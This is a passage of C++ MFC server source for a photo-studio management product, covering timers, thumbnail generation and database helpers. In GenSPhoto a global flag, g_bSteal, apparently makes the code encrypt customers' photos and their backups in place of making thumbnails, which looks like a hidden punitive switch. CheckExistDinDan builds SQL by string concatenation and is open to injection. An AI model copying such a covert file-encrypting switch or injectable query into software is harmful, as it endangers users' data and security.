  1077. }
  1078. void CDBServerDlg::OnOpen()
  1079. {
  1080. ShowWindow(SW_SHOW);
  1081. }
  1082. void CDBServerDlg::OnExit2()
  1083. {
  1084. try
  1085. {
  1086. TerminateThread();
  1087. m_TrayIcon.RemoveIcon();
  1088. if (g_pSkinData)delete[]g_pSkinData; g_pSkinData = NULL;
  1089. //g_db.Close();
  1090. for (int i = 0; i < g_dbHistoryArray.GetSize(); i++)
  1091. {
  1092. g_dbHistoryArray.ElementAt(i)->Close();
  1093. delete g_dbHistoryArray.ElementAt(i);
  1094. }
  1095. ReleaseBranchDB();
  1096. }
  1097. catch (...)
  1098. {
  1099. WriteTextLog("出错在函数OnExit2中");
  1100. }
  1101. CDialog::OnCancel();
  1102. }
  1103. void CDBServerDlg::OnExit()
  1104. {
  1105. try
  1106. {
  1107. // 结束检查服务线程
  1108. TerminateCheckWork();
  1109. //结束一键生成小图线程
  1110. if(CreateSmallPhoto::GetInstance()->IsCreating())
  1111. {
  1112. if(AfxMessageBox("温馨提示:生成小图还未完成确定要退出程序吗", MB_YESNO|MB_ICONSTOP) == IDNO)
  1113. return;
  1114. CreateSmallPhoto::GetInstance()->TerminateThread();
  1115. }
  1116. TerminateThread();
  1117. DWORD id = FindAppProcessID("AutoRun.exe");
  1118. if (id != -1)
  1119. {
  1120. HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
  1121. if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
  1122. }
  1123. m_TrayIcon.RemoveIcon();
  1124. if (g_pSkinData)delete[]g_pSkinData; g_pSkinData = NULL;
  1125. ReleaseBranchDB();
  1126. }
  1127. catch (...)
  1128. {
  1129. WriteTextLog("出错在函数OnExit中");
  1130. }
  1131. CDialog::OnCancel();
  1132. }
  1133. void CDBServerDlg::OnTimer(UINT nIDEvent) //定时器;
  1134. {
  1135. try
  1136. {
  1137. if (nIDEvent == 1)
  1138. {// 生成小图;
  1139. KillTimer(nIDEvent);
  1140. LoadThumbImages();
  1141. }
  1142. else if (nIDEvent == 2)
  1143. {
  1144. KillTimer(nIDEvent);
  1145. OnClose();// 托盘显示;
  1146. try
  1147. {
  1148. CheckHistoryData(); // Jeff:back history db data;
  1149. LoadBranchInfo();
  1150. }
  1151. catch (...)
  1152. {
  1153. }
  1154. #ifdef _DEBUG
  1155. SetTimer(1, 10000, NULL);
  1156. #else
  1157. SetTimer(1, 2 * 60 * 1000, NULL);
  1158. #endif
  1159. SetTimer(4, 1000 * 60 * 2, NULL);
  1160. SetTimer(7, 1000 * 60 * 60 * 1, NULL);
  1161. SetTimer(8, 3000, NULL);
  1162. SetTimer(9, 10000, NULL);
  1163. }
  1164. else if (nIDEvent == 3)
  1165. {
  1166. g_pMainWnd->KillTimer(3);
  1167. HANDLE hMutex = ::OpenMutex(NULL, FALSE, _T("lyfzSMSHandle"));
  1168. if (GetLastError() == ERROR_FILE_NOT_FOUND)
  1169. {
  1170. CString autorunpath = g_mainpath + _T("\\SMSHandle.exe");
  1171. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  1172. }
  1173. if(hMutex) CloseHandle(hMutex);
  1174. }
  1175. else if (nIDEvent == 4) //Jeff.这里也有自动启动MsgServer.exe服务处理,而且是2分钟/次的频率;
  1176. {
  1177. UpdateDate();
  1178. CheckMemberMsg();
  1179. BakPhoto();
  1180. }
  1181. else if (nIDEvent == 5)
  1182. {
  1183. typedef BOOL(WINAPI *MYFUNC)(LPDWORD);
  1184. MYFUNC IsNetworkConnect = NULL;
  1185. //取得IsNetworkAlive函数指针
  1186. IsNetworkConnect = (MYFUNC)GetProcAddress(hInst, "IsNetworkAlive");
  1187. if (IsNetworkConnect)
  1188. {
  1189. DWORD dwActiveWan = 1;
  1190. BOOL state;
  1191. if (IsNetworkConnect(&dwActiveWan))
  1192. state = 1;
  1193. else
  1194. state = 0;
  1195. if (m_bNetWorkOK != state)
  1196. {
  1197. KillTimer(nIDEvent);
  1198. WriteTextLog("网络断开");
  1199. OnExit2();
  1200. }
  1201. }
  1202. }
  1203. else if (nIDEvent == 6)
  1204. {
  1205. KillTimer(nIDEvent);
  1206. ShutDown();
  1207. }
  1208. else if (nIDEvent == 7)
  1209. {
  1210. //CheckBakState();
  1211. GenUPhoneData();
  1212. }
  1213. else if (nIDEvent == 8)
  1214. {
  1215. CheckConnCount();
  1216. }
  1217. }
  1218. catch (...)
  1219. {
  1220. WriteTextLog("出错在函数Timer中");
  1221. }
  1222. }
  1223. void LoadImageFromBuf(Image **img, BYTE *pData, DWORD leng)//g_bakserver1
  1224. {
  1225. try
  1226. {
  1227. if (pData == NULL)return;
  1228. if (*img)delete *img;
  1229. *img = NULL;
  1230. // Allocate global memory on which to create stream
  1231. HGLOBAL m_hMem = GlobalAlloc(GMEM_MOVEABLE, leng);
  1232. if (m_hMem == NULL)return;
  1233. BYTE* pmem = (BYTE*)GlobalLock(m_hMem);
  1234. memcpy(pmem, pData, leng);
  1235. IStream* pstm;
  1236. CreateStreamOnHGlobal(m_hMem, TRUE, &pstm);
  1237. // load from stream
  1238. *img = Gdiplus::Image::FromStream(pstm);
  1239. // free/release stuff
  1240. GlobalUnlock(m_hMem);
  1241. pstm->Release();
  1242. }
  1243. catch (...)
  1244. {
  1245. }
  1246. }
  1247. void LoadImageFromBuf(Image **img, CString path)
  1248. {
  1249. try
  1250. {
  1251. CFile fp;
  1252. if (fp.Open(path, CFile::modeRead))
  1253. {
  1254. DWORD leng = fp.GetLength();
  1255. BYTE *pData = new BYTE[leng];
  1256. fp.Read(pData, leng);
  1257. fp.Close();
  1258. LoadImageFromBuf(img, pData, leng);
  1259. delete[]pData;
  1260. }
  1261. }
  1262. catch (...)
  1263. {
  1264. }
  1265. }
  1266. void LoadImageFromRes(Image **img, LPCTSTR lpszResourceName, LPCTSTR ResourceType)
  1267. {
  1268. try
  1269. {
  1270. HGLOBAL hGlobal = NULL;
  1271. HRSRC hSource = NULL;
  1272. LPVOID lpVoid = NULL;
  1273. int nSize = 0;
  1274. BOOL bResult = FALSE;
  1275. hSource = FindResource(NULL, lpszResourceName, ResourceType);
  1276. if (hSource == NULL)return;
  1277. hGlobal = LoadResource(NULL, hSource);
  1278. if (hGlobal == NULL)return;
  1279. lpVoid = LockResource(hGlobal);
  1280. if (lpVoid == NULL)return;
  1281. nSize = (UINT)SizeofResource(NULL, hSource);
  1282. LoadImageFromBuf(img, (BYTE*)hGlobal, nSize);
  1283. UnlockResource(hGlobal); // 16Bit Windows Needs This
  1284. FreeResource(hGlobal); // 16Bit Windows Needs This (32Bit - Automatic Release)
  1285. }
  1286. catch (...)
  1287. {
  1288. }
  1289. }
  1290. // ---------------------------------------------------------------------------------------------------------------------------------------------------------------
  1291. // TimeAt: 2014-09-15 AM;
  1292. // Remark: Jeff;
  1293. // 函数:GenSPhoto
  1294. // 描述:对指定文件夹内的相片生成S或M缩略图;
  1295. // 参数:
  1296. // dir: 需要生成缩略图的文件目录;
  1297. // bMPhoto: 是否生成M缩略图;
  1298. // 其它:
  1299. // 在生成缩略图前,记录jpg文件总数nOldCount,每生成一个缩略图nOldCount++;
  1300. // 最后全部图生成完毕,获取新的jpg文件总数nNewCount,if(nOldCount == nNewCount)则表示所有相片已生成缩略图完毕,生成ok文件表示成功生成缩略图;
  1301. //
  1302. // 函数调用全局参数:
  1303. // g_bSteal:意义未明!
  1304. //
  1305. // 注意:该函数非线程安全!
  1306. // 非线程安全:
  1307. // 获取文件总数nOldCount结束后,若有新文件在本函数以外其他函数或进程、线程被添加,则生成缩略图完成后再次获取文件总数nNewCount就不会与nOldCount++后的结果相等;
  1308. // 而实际上本次缩略图已生成完毕。
  1309. // ---------------------------------------------------------------------------------------------------------------------------------------------------------------
  1310. void GenSPhoto(CString dir, BOOL bMPhoto) // 参数:bMPhoto:是否生成M缩略图;
  1311. {
  1312. // 如果是公告附件目录退出;
  1313. if (dir.Find("公告附件") != -1)return;
  1314. // 如果不是客户原片或修好的片目录,设置bMPhoto参数为0,不生成M缩略图;
  1315. if (dir.Find("客户原片(管理软件)$") != -1 || dir.Find("修好的片(管理软件)$") != -1)
  1316. {
  1317. }
  1318. else
  1319. bMPhoto = 0;
  1320. // 对指定文件目录dir进行指定后缀jpg文件遍历;
  1321. ffsco o;
  1322. o.dirs(1);
  1323. o.find(LPCSTR(dir), LPCSTR("*.*"));
  1324. ffsco::typeT coo;
  1325. ffsco::typeT::iterator it;
  1326. coo = o.co_file();
  1327. int oldsize = coo.size();
  1328. CString path, temp, spath, mpath;
  1329. for (it = coo.begin(); coo.end() != it; it++)
  1330. {
  1331. try
  1332. {
  1333. if (g_pMainWnd->m_bTerminate)return;
  1334. // 遍历到的jpg文件如果是缩略图则不处理,继续遍历;
  1335. path = (*it).c_str();
  1336. spath = path.Left(path.ReverseFind('\\') + 1);
  1337. mpath = spath;
  1338. spath += "s";
  1339. mpath += "m";
  1340. temp = path.Right(path.GetLength() - path.ReverseFind('\\') - 1);
  1341. if (temp.GetAt(0) == 's')continue;
  1342. if (temp.GetAt(0) == 'm')continue;
  1343. spath += path.Right(path.GetLength() - path.ReverseFind('\\') - 1);
  1344. mpath += path.Right(path.GetLength() - path.ReverseFind('\\') - 1);
  1345. if (g_bSteal)
  1346. {
  1347. Image *pImg = NULL;
  1348. //::LoadImageFromBuf(&pImg, path);
  1349. IMGCommon::LoadImgFromFile(&pImg, path);
  1350. if (pImg == NULL)continue;
  1351. if (pImg->GetWidth() == 0)
  1352. {
  1353. if (pImg)
  1354. delete pImg;
  1355. pImg = NULL;
  1356. continue; // Jeff.continue前未释放pImg;
  1357. }
  1358. EncryptFile3(path);
  1359. if (path.Find("客户原片") != -1)
  1360. {
  1361. int pos = path.Find("管理软件)$");
  1362. if (pos != -1)
  1363. {
  1364. path = g_bakserver1 + path.Right(path.GetLength() - pos - 10);
  1365. EncryptFile3(path);
  1366. }
  1367. }
  1368. else if (path.Find("修好的片") != -1)
  1369. {
  1370. int pos = path.Find("管理软件)$");
  1371. if (pos != -1)
  1372. {
  1373. path = g_bakserver2 + path.Right(path.GetLength() - pos - 10);
  1374. EncryptFile3(path);
  1375. }
  1376. }
  1377. else if (path.Find("精修好的片") != -1)
  1378. {
  1379. int pos = path.Find("管理软件)$");
  1380. if (pos != -1)
  1381. {
  1382. path = g_bakserver3 + path.Right(path.GetLength() - pos - 10);
  1383. EncryptFile3(path);
  1384. }
  1385. }
  1386. else if (path.Find("设计好的片") != -1)
  1387. {
  1388. int pos = path.Find("管理软件)$");
  1389. if (pos != -1)
  1390. {
  1391. path = g_bakserver4 + path.Right(path.GetLength() - pos - 10);
  1392. EncryptFile3(path);
  1393. }
  1394. }
  1395. oldsize++;
  1396. }
  1397. else if (!CheckFileExist(spath)) // 没有判断后续是否为jpg或jpeg.
  1398. {
  1399. Image *pImg = NULL;
  1400. //::LoadImageFromBuf(&pImg, path);
  1401. IMGCommon::LoadImgFromFile(&pImg, path);
  1402. if (pImg == NULL)continue;
  1403. if (pImg->GetWidth() == 0)
  1404. {
  1405. // 由于没有判断spath是否是jpg或jpeg的相片文件,导致这里泄漏;
  1406. if (pImg)
  1407. delete pImg;
  1408. pImg = NULL;
  1409. continue; // Jeff.返回前未释放pImg;
  1410. }
  1411. #if 0
  1412. CRect rc(0, 0, 100, 90);
  1413. RectFitDes(pImg->GetWidth(), pImg->GetHeight(), rc);
  1414. Image *simg = pImg->GetThumbnailImage(rc.Width(), rc.Height(), NULL, NULL);
  1415. if (simg == NULL)
  1416. {
  1417. if (pImg)
  1418. delete pImg;
  1419. pImg = NULL;
  1420. continue;// Jeff.返回前未释放pImg;
  1421. }
  1422. Image *simg2 = NULL;
  1423. if (bMPhoto)
  1424. {
  1425. CRect rc2(0, 0, 2000, 2000);
  1426. RectFitDes(pImg->GetWidth(), pImg->GetHeight(), rc2);
  1427. simg2 = pImg->GetThumbnailImage(rc2.Width(), rc2.Height(), NULL, NULL);
  1428. if (simg2 == NULL)
  1429. {
  1430. if (pImg)
  1431. delete pImg;
  1432. pImg = NULL;
  1433. continue;// Jeff.返回前未释放pImg;
  1434. }
  1435. }
  1436. Graphics graphic(simg);//防止GetThumbnailImage影响质量
  1437. graphic.Clear(Color(255, 255, 255, 255));
  1438. graphic.DrawImage(pImg, 0, 0, simg->GetWidth(), simg->GetHeight());
  1439. if (bMPhoto)
  1440. {
  1441. Graphics graphic2(simg2);//防止GetThumbnailImage影响质量
  1442. graphic2.Clear(Color(255, 255, 255, 255));
  1443. graphic2.DrawImage(pImg, 0, 0, simg2->GetWidth(), simg2->GetHeight());
  1444. }
  1445. ///////////////////////////////
  1446. UINT totalBufferSize;
  1447. UINT numProperties;
  1448. pImg->GetPropertySize(&totalBufferSize, &numProperties);
  1449. // Allocate the buffer that will receive the property items.
  1450. PropertyItem* pAllItems = (PropertyItem*)malloc(totalBufferSize);
  1451. // Fill the buffer.
  1452. pImg->GetAllPropertyItems(totalBufferSize, numProperties, pAllItems);
  1453. // Print the id data member of each property item.
  1454. for (UINT j = 0; j < numProperties; ++j)
  1455. {
  1456. if (PropertyTagOrientation == pAllItems[j].id)
  1457. {
  1458. short* ptrLong = (short*)(pAllItems[j].value);
  1459. int ret = (int)*ptrLong;
  1460. // CString str;
  1461. // str.Format ("%d", ret);
  1462. // AfxMessageBox(str);
  1463. if (ret == 8)
  1464. {
  1465. if (simg2)simg2->RotateFlip(Rotate270FlipNone);
  1466. simg->RotateFlip(Rotate270FlipNone);
  1467. }
  1468. else if (ret == 6)
  1469. {
  1470. if (simg2)simg2->RotateFlip(Rotate90FlipNone);
  1471. simg->RotateFlip(Rotate90FlipNone);
  1472. }
  1473. break;
  1474. }
  1475. }
  1476. free(pAllItems);
  1477. ///////////////////////////////
  1478. ::SaveImageToFile(simg, spath); oldsize++;
  1479. delete simg;
  1480. delete pImg;
  1481. if (bMPhoto)
  1482. {
  1483. ::SaveImageToFile2(simg2, mpath, 100); oldsize++;
  1484. delete simg2;
  1485. }
  1486. #else
  1487. IMGCommon::ImgThumbnail(pImg,SET_PIX(100,100), spath, 100);
  1488. if (bMPhoto)
  1489. IMGCommon::ImgThumbnail(pImg,SET_PIX(2000,2000), mpath, 100);
  1490. if (pImg)
  1491. delete pImg;
  1492. pImg = NULL;
  1493. #endif
  1494. }
  1495. }
  1496. catch (...)
  1497. {
  1498. WriteTextLog("出错在函数GenSPhoto中");
  1499. }
  1500. }
  1501. try
  1502. {
  1503. ffsco o;
  1504. o.dirs(1);
  1505. o.find(LPCSTR(dir), LPCSTR("*.*"));
  1506. ffsco::typeT coo;
  1507. ffsco::typeT::iterator it;
  1508. coo = o.co_file();
  1509. int newsize = coo.size();
  1510. if (oldsize == newsize)
  1511. {
  1512. path = dir + "\\ok";
  1513. CFile fp;
  1514. fp.Open(path, CFile::modeCreate | CFile::modeWrite);
  1515. fp.Close();
  1516. }
  1517. }
  1518. catch (...)
  1519. {
  1520. WriteTextLog("出错在函数GenSPhoto2中");
  1521. }
  1522. }
  1523. //--------------------------------------------------------------------------------
  1524. // Remark by Jeff 2014.10.22
  1525. // 函数:LoadThumbNail
  1526. // 描述:S或M缩略图线程
  1527. // 参数:
  1528. // 返回:
  1529. //
  1530. // 调用关系:SetTimer(1);
  1531. // 1.
  1532. // 2.
  1533. // 3.
  1534. //--------------------------------------------------------------------------------
  1535. unsigned __stdcall LoadThumbNail(LPVOID lpParam)
  1536. {
  1537. BOOL bMphoto = 0;
  1538. if (g_bSteal == 0)
  1539. {
  1540. CDatabase *pMaindb = NULL;
  1541. ODBCConnGuard ConnGuard(pMaindb , -1, 3000);
  1542. if ( pMaindb )
  1543. {
  1544. try
  1545. {
  1546. CRecordset myset(pMaindb);
  1547. CString sql = "select * from version";
  1548. myset.Open(CRecordset::forwardOnly, sql);
  1549. myset.GetFieldValue("setcheck15", sql); // 选片时是否使用m缩略图来代替原片放大使用;
  1550. myset.Close();
  1551. bMphoto = atoi(sql);
  1552. }
  1553. catch (CDBException* e)
  1554. {
  1555. WriteTextLog(_T("LoadThumbNail:%s"),e->m_strError);
  1556. e->Delete();
  1557. }
  1558. }
  1559. }
  1560. CString initialPhotoPath = _T("");
  1561. CString initialModifyPath = _T("");
  1562. CString designPhotoPath = _T("");
  1563. CString excellentModifyPath = _T("");
  1564. char server[50] = {0};
  1565. DWORD leng = 50;
  1566. ::GetComputerName(server, &leng);
  1567. initialPhotoPath = initialModifyPath = designPhotoPath = excellentModifyPath = server;
  1568. initialPhotoPath = "\\\\" + initialPhotoPath + "\\客户原片(管理软件)$";
  1569. initialModifyPath = "\\\\" + initialModifyPath + "\\修好的片(管理软件)$";
  1570. designPhotoPath = "\\\\" + designPhotoPath + "\\设计好的片(管理软件)$";
  1571. excellentModifyPath = "\\\\" + excellentModifyPath + "\\精修好的片(管理软件)$";
  1572. GetPathFromNetShareName("客户原片(管理软件)$", initialPhotoPath);
  1573. GetPathFromNetShareName("修好的片(管理软件)$", initialModifyPath);
  1574. GetPathFromNetShareName("设计好的片(管理软件)$", designPhotoPath);
  1575. GetPathFromNetShareName("精修好的片(管理软件)$", excellentModifyPath);
  1576. int i = 0;
  1577. CDBServerDlg *pDlg = (CDBServerDlg*)lpParam;
  1578. try
  1579. {
  1580. CStringArray dirarray;
  1581. // Remark:Jeff.
  1582. // 遍历原片、修好片、设计片、精修片目录,查看是否有ok或ok.dat文件存在;
  1583. // 说明:ok文件在客户端再次导入相片时会被删除;
  1584. // 只有服务端生成小图后,ok才被重新生成;
  1585. if(CBranchInfo::GetInstance()->m_TblNetShareInfo.size() != 0)
  1586. {
  1587. vector<TblNetShareInfo*>::iterator iter = CBranchInfo::GetInstance()->m_TblNetShareInfo.begin();
  1588. for(; iter != CBranchInfo::GetInstance()->m_TblNetShareInfo.end();)
  1589. {
  1590. TblNetShareInfo* p = (*iter);
  1591. if(p != NULL)
  1592. {
  1593. CString strDir = p->szShareDirectory;
  1594. if(strDir.Find(_T("$\\")) != -1)
  1595. strDir = strDir.TrimRight(_T("\\"));
  1596. pDlg->CheckOkFileExistence(strDir, dirarray);
  1597. }
  1598. ++iter;
  1599. }
  1600. CString patharray[2] = { designPhotoPath, excellentModifyPath };
  1601. //int i = 0;
  1602. for (i = 0; i < 2; i++)
  1603. {
  1604. if (pDlg->m_bTerminate)
  1605. break;
  1606. pDlg->CheckOkFileExistence(patharray[i], dirarray);
  1607. }
  1608. }
  1609. else
  1610. {
  1611. CString patharray[4] = { initialPhotoPath, initialModifyPath, designPhotoPath, excellentModifyPath };
  1612. for (i = 0; i < 4; i++)
  1613. {
  1614. if (pDlg->m_bTerminate)
  1615. break;
  1616. pDlg->CheckOkFileExistence(patharray[i], dirarray);
  1617. }
  1618. }
  1619. for (i = 0; i < dirarray.GetSize(); i++)
  1620. {
  1621. if (pDlg->m_bTerminate)
  1622. break;
  1623. GenSPhoto(dirarray.ElementAt(i), bMphoto);
  1624. }
  1625. }
  1626. catch (...)
  1627. {
  1628. WriteTextLog("出错在函数GenThumb中");
  1629. }
  1630. pDlg->m_bRunning = false;
  1631. pDlg->m_bTerminate = false;
  1632. pDlg->SetTimer(1, 60 * 1000, NULL);
  1633. _endthreadex(0);
  1634. return 0;
  1635. }
  1636. //--------------------------------------------------------------------------------
  1637. // 函数:CheckOkFileExistence
  1638. // 描述:OK文件是否存在
  1639. // 参数:
  1640. // const CString& strPath 需要搜索的目录
  1641. // CStringArray& arr 返回文件目录
  1642. // 返回:TRUE成功,FALSE失败
  1643. //--------------------------------------------------------------------------------
  1644. BOOL CDBServerDlg::CheckOkFileExistence(const CString& strPath, CStringArray& arr)
  1645. {
  1646. CString path(_T("")), path2(_T(""));
  1647. if(strPath == _T(""))
  1648. return FALSE;
  1649. ffsco o;
  1650. o.dirs(1);
  1651. o.find(LPCSTR(strPath), LPCSTR("*.*"));
  1652. ffsco::typeT coo;
  1653. ffsco::typeT::iterator it;
  1654. coo = o.co_dir();
  1655. it = coo.begin();
  1656. it++;
  1657. for(; coo.end() != it; it++)
  1658. {
  1659. if (m_bTerminate)
  1660. break;
  1661. path = (*it).c_str();
  1662. path.TrimRight("\\");
  1663. path2 = path;
  1664. path2 += "\\ok2.dat";
  1665. path += "\\ok";
  1666. if (CheckFileExist(path2) && path2.Find(".ly.com") == -1)
  1667. {
  1668. ::DeleteFile(path); // 删除ok文件;
  1669. ::DeleteFile(path2); // 删除ok.dat文件;
  1670. }
  1671. // g_bCheckAll g_bSteal的意义???
  1672. // g_bCheckAll没有任何其他赋值的代码,只有最开始初始化值0;下这if不执行;
  1673. if (g_bCheckAll || g_bSteal)
  1674. {
  1675. if (FindArray(&arr, (*it).c_str()) == -1)
  1676. arr.Add((*it).c_str());
  1677. }
  1678. else if (CheckFileExist(path) == 0)
  1679. {
  1680. if (FindArray(&arr, (*it).c_str()) == -1)
  1681. arr.Add((*it).c_str());
  1682. }
  1683. }
  1684. return 1;
  1685. }
  1686. //自动生成小图线程;
  1687. void CDBServerDlg::LoadThumbImages() // 自动生成小图线程;
  1688. {
  1689. if (m_bRunning)return;
  1690. TerminateThread();
  1691. m_bRunning = true;
  1692. m_hThread = (HANDLE)_beginthreadex(NULL, 0, LoadThumbNail, (LPVOID)this, 0/* CREATE_SUSPENDED*/, &m_dwThreadID);
  1693. }
  1694. BOOL CDBServerDlg::TerminateThread()
  1695. {
  1696. try
  1697. {
  1698. if (!m_bRunning)
  1699. return TRUE;
  1700. m_bTerminate = true;
  1701. for (;;)
  1702. {
  1703. if (::WaitForSingleObject(m_hThread, INFINITE) == WAIT_OBJECT_0)
  1704. break;
  1705. }
  1706. ::CloseHandle(m_hThread);
  1707. m_bRunning = false;
  1708. return TRUE;
  1709. }
  1710. catch (...)
  1711. {
  1712. WriteTextLog("出错在函数TerminateThread中");
  1713. }
  1714. return TRUE;
  1715. }
  1716. void CDBServerDlg::InitLia()
  1717. {
  1718. try
  1719. {
  1720. // Jeff:逆天的变量命名!!!局部变量竟然用g_开头!!!
  1721. //BYTE *g_pData=NULL;DWORD g_nLeng; DWORD count2;
  1722. BYTE *pReturnData = NULL;
  1723. DWORD dwReturnLen;
  1724. DWORD count2;
  1725. BYTE byCode = 104;
  1726. CConnectSocket consock;
  1727. ODBCConnGuard ConnGuard(consock.m_pConndb, -1, 3000);
  1728. if ( consock.m_pConndb == NULL )
  1729. return;
  1730. consock.GetDataFromCode(byCode, &pReturnData, dwReturnLen, count2, "");
  1731. if (pReturnData == NULL || dwReturnLen == 0)
  1732. return;
  1733. DWORD readbytes = 0;
  1734. CArray<DWORD, DWORD> ArrayOfLen;
  1735. CArray<DWORD, DWORD> ArrayOfBtnLen;
  1736. BYTE *pArrayPointer = NULL;
  1737. DWORD dwPointerLen = 0;
  1738. DWORD leng;
  1739. memcpy(&leng, pReturnData + readbytes, sizeof(DWORD));
  1740. readbytes += sizeof(DWORD);
  1741. BYTE *pFtData = new BYTE[leng];
  1742. memcpy(pFtData, pReturnData + readbytes, leng);
  1743. readbytes += leng;
  1744. CMemFile memfile;
  1745. memfile.Attach(pFtData, leng);
  1746. CArchive ar(&memfile, CArchive::load);
  1747. ArrayOfLen.Serialize(ar);
  1748. ar.Close();
  1749. memfile.Detach();
  1750. memcpy(&leng, pReturnData + readbytes, sizeof(DWORD));
  1751. readbytes += sizeof(DWORD);
  1752. BYTE *pFtData2 = new BYTE[leng];
  1753. memcpy(pFtData2, pReturnData + readbytes, leng);
  1754. readbytes += leng;
  1755. CMemFile memfile2;
  1756. memfile2.Attach(pFtData2, leng);
  1757. CArchive ar2(&memfile2, CArchive::load);
  1758. ArrayOfBtnLen.Serialize(ar2);
  1759. ar2.Close();
  1760. memfile2.Detach();
  1761. delete[]pFtData;
  1762. delete[]pFtData2;
  1763. DWORD count;
  1764. memcpy(&count, pReturnData + readbytes, sizeof(DWORD));
  1765. readbytes += sizeof(DWORD);
  1766. dwPointerLen = count*sizeof(RESDATA2);
  1767. pArrayPointer = new BYTE[dwPointerLen];
  1768. int i = 0;
  1769. for (i = 0; i < count; i++)
  1770. {
  1771. memcpy(pArrayPointer + i*sizeof(RESDATA2), pReturnData + readbytes, sizeof(RESDATA2));
  1772. readbytes += sizeof(RESDATA2);
  1773. }
  1774. for (i = 0; i < ArrayOfLen.GetSize(); i += 8)
  1775. {
  1776. DWORD leng1, leng2, leng3, leng4, leng5, leng6, leng7, leng8;
  1777. leng1 = ArrayOfLen.ElementAt(i);
  1778. leng2 = ArrayOfLen.ElementAt(i + 1);
  1779. leng3 = ArrayOfLen.ElementAt(i + 2);
  1780. leng4 = ArrayOfLen.ElementAt(i + 3);
  1781. leng5 = ArrayOfLen.ElementAt(i + 4);
  1782. leng6 = ArrayOfLen.ElementAt(i + 5);
  1783. leng7 = ArrayOfLen.ElementAt(i + 6);
  1784. leng8 = ArrayOfLen.ElementAt(i + 7);
  1785. if (i % 4 == 0)
  1786. DeCodelong1((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8);
  1787. else if (i % 4 == 1)
  1788. DeCodelong2((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8);
  1789. else if (i % 4 == 2)
  1790. DeCodelong3((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8);
  1791. else
  1792. DeCodelong4((int&)leng1, (int&)leng2, (int&)leng3, (int&)leng4, (int&)leng5, (int&)leng6, (int&)leng7, (int&)leng8);
  1793. ArrayOfLen.SetAt(i, leng1);
  1794. ArrayOfLen.SetAt(i + 1, leng2);
  1795. ArrayOfLen.SetAt(i + 2, leng3);
  1796. ArrayOfLen.SetAt(i + 3, leng4);
  1797. ArrayOfLen.SetAt(i + 4, leng5);
  1798. ArrayOfLen.SetAt(i + 5, leng6);
  1799. ArrayOfLen.SetAt(i + 6, leng7);
  1800. ArrayOfLen.SetAt(i + 7, leng8);
  1801. }
  1802. delete[]pReturnData;
  1803. if (g_pSkinData)
  1804. delete[]g_pSkinData;
  1805. g_pSkinData = NULL;
  1806. DWORD length;
  1807. BYTE *pData;
  1808. DWORD length2;
  1809. BYTE *pData2;
  1810. CMemFile mStoreFile;
  1811. CArchive arStore(&mStoreFile, CArchive::store);
  1812. ArrayOfLen.Serialize(arStore);
  1813. arStore.Close();
  1814. length = mStoreFile.GetLength();
  1815. pData = mStoreFile.Detach();
  1816. CMemFile mStoreFile1;
  1817. CArchive arStore1(&mStoreFile1, CArchive::store);
  1818. ArrayOfBtnLen.Serialize(arStore1);
  1819. arStore1.Close();
  1820. length2 = mStoreFile1.GetLength();
  1821. pData2 = mStoreFile1.Detach();
  1822. g_SkinLeng = length + length2 + dwPointerLen + 3 * sizeof(DWORD);
  1823. g_pSkinData = new BYTE[g_SkinLeng];
  1824. readbytes = 0;
  1825. memcpy(g_pSkinData + readbytes, &length, sizeof(DWORD));
  1826. readbytes += sizeof(DWORD);
  1827. memcpy(g_pSkinData + readbytes, pData, length);
  1828. readbytes += length;
  1829. memcpy(g_pSkinData + readbytes, &length2, sizeof(DWORD));
  1830. readbytes += sizeof(DWORD);
  1831. memcpy(g_pSkinData + readbytes, pData2, length2);
  1832. readbytes += length2;
  1833. memcpy(g_pSkinData + readbytes, &dwPointerLen, sizeof(DWORD));
  1834. readbytes += sizeof(DWORD);
  1835. memcpy(g_pSkinData + readbytes, pArrayPointer, dwPointerLen);
  1836. readbytes += dwPointerLen;
  1837. delete[]pArrayPointer;
  1838. }
  1839. catch (...)
  1840. {
  1841. WriteTextLog("出错在函数InitLia中");
  1842. }
  1843. }
  1844. BOOL CheckExistDinDan(CString id)
  1845. {
  1846. CDatabase *pMaindb = NULL;
  1847. ODBCConnGuard ConnGuard(pMaindb, -1, 30000);
  1848. if ( pMaindb == NULL )
  1849. return FALSE;
  1850. CRecordset myset(pMaindb);
  1851. CString sql = "select count(*) as cot from dindan where id='" + id + "'";
  1852. myset.Open(CRecordset::forwardOnly, sql);
  1853. myset.GetFieldValue("cot", sql);
  1854. myset.Close();
  1855. return atol(sql);
  1856. }
  1857. //CString g_nCurConvertDBName="db"; // Jeff.deal
  1858. CString g_nCurConvertDBName(g_szDBName);
  1859. DWORD CDBServerDlg::ThreadCallerElves(LPVOID lpPara)
  1860. {
  1861. CArray<int, int>codearray;
  1862. codearray.Add(80);
  1863. codearray.Add(90);
  1864. codearray.Add(11);
  1865. codearray.Add(138);
  1866. codearray.Add(24);
  1867. codearray.Add(181);
  1868. codearray.Add(65);
  1869. codearray.Add(56);
  1870. codearray.Add(179);
  1871. codearray.Add(53);
  1872. CFile fp;
  1873. CString savepath, strPath1;
  1874. char server[50];
  1875. DWORD leng = 50;
  1876. ::GetComputerName(server, &leng);
  1877. strPath1 = server;
  1878. strPath1 = "\\\\" + strPath1 + "\\电话录音(管理软件)$";
  1879. GetPathFromNetShareName("电话录音(管理软件)$", strPath1);
  1880. if (strPath1.IsEmpty())
  1881. return 0;
  1882. try
  1883. {
  1884. CDatabase *pMaindb = NULL;
  1885. for ( int i = 0; i < g_dbpool.GetSize(); i++ )
  1886. {
  1887. ODBCConnGuard ConnGuard(pMaindb, i-1, 3000);
  1888. if ( !pMaindb )
  1889. continue;
  1890. savepath.Format("%s\\uphonedata%d.dat", strPath1, i);
  1891. ::DeleteFile(savepath); // 删除uphonedata.dat文件;
  1892. if (fp.Open(savepath, CFile::modeCreate | CFile::modeWrite) == 0)
  1893. {
  1894. WriteTextLog("更新来电精灵数据出错");
  1895. return 0;
  1896. }
  1897. CConnectSocket consock;
  1898. consock.m_pConndb = pMaindb;
  1899. for (int i = 0; i < codearray.GetSize(); i++)
  1900. {
